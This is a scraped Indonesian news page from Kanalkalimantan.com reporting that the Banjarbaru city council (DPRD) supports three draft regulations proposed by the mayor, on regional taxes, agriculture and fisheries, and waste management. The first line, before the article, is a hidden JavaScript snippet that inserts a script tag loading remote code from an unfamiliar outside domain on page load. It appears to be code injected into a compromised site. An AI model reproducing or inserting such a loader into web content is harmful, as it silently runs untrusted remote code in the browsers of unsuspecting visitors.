(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mendukung tiga buah Rancangan Peraturan Daerah (Raperda) yang diajukan ihak eksekutif untuk diterapkan kepada masyarakat.
“Kami mendukung tiga Raperda yang diajukan eksekutif karena tujuannya tentu baik bagi daerah maupun juga bagi masyarakat,” ujar Ketua DPRD Banjarbaru Fadliansyah.
Pernyataan unsur pimpinan DPRD itu terkait tiga Raperda inisiatif yang diajukan Wali Kota Banjarbaru HM Aditya Mufti Ariffin pada rapat paripurna DPRD yang dihadiri 25 anggota DPRD, Senin (9/1/2023).
Diketahui, tiga Raperda inisiatif yang disampaikan Wali Kota yakni Raperda tentang pajak dan retribusi daerah, Raperda penyelenggaraan pertanian dan perikanan, serta Raperda tentang pengelolaan sampah.
Baca juga: PUPR Kalsel Perbaiki Jalan di Balangan, Segini Dana yang Dianggarkan
Menurut Fadliansyah, Raperda tentang penyelenggaraan pertanian dan perikanan disiapkan karena dua sektor itu memiliki peluang investasi yang besar, sehingga berpotensi meningkatkan kesejahteraan.
“Selain peluang investasi yang tentu menambah penerimaan bagi daerah dan meningkatkan kesejahteraan masyarakat, juga berguna melindungi area pertanian sehingga tidak beralih fungsi,” ucap politisi Gerindra itu.
Terkait Raperda pengelolaan sampah diperlukan agar pengelolaan semakin baik seiring status kota Banjarbaru sebagai ibu kota provinsi. “Penanganan sampah tentu harus komprehensif dari hulu ke hilir, diperlukan aturan dalam pengelolaan sampah,” sebutanya.
Sedangkan Raperda tentang pajak dan retribusi daerah terkait UU Nomor 1 tahun 2022 dimana setiap daerah perlu mengatur tentang pajak dan retribusi dalam satu Perda sehingga harus direvisi.
“Setelah diajukan ke DPRD maka diberikan saran dan masukan fraksi-fraksi melalui rapat paripurna pemandangan umum fraksi, hingga dibahas panitia khusus yang dibentuk,” katanya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.